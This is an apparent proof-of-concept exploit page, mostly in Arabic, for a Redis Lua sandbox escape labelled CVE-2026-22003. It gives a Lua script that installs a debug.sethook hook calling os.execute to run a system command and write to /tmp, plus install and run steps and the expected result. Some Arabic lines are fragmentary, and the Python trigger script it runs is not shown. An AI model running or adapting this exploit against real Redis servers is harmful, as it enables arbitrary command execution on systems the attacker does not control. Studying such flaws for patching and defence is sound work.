
استغلال إثبات المفهوم لثغرة CVE-2026-22003 يوضح تجاوز الصندوق الرملي Lua في Redis عبر debug.sethook لتنفيذ أوامر نظام تعسفية.
debug.sethook-- redis_sandbox.lua - Script that attempts sandbox escape
local function escape()
debug.sethook(function()
-- This hook runs in a privileged context
os.execute("id > /tmp/redis_escape")
end, "r")
local a = 1
end
return escape()
لا يقوم صندوق رمل Lua في Redis بتعطيل دالة debug.sethook بشكل صحيح. يمكن للمهاجم الذي يستطيع تشغيل نصوص Lua تركيب خطاف (hook) يعمل في سياق مميز والخروج من صندوق الرمل لتنفيذ أوامر نظام عشوائية.
os.execute أو دوال مشابهة.EVAL).pip install redis
python trigger_redis_sandbox_escape.py
The file /tmp/redis_escape is created, proving command execution.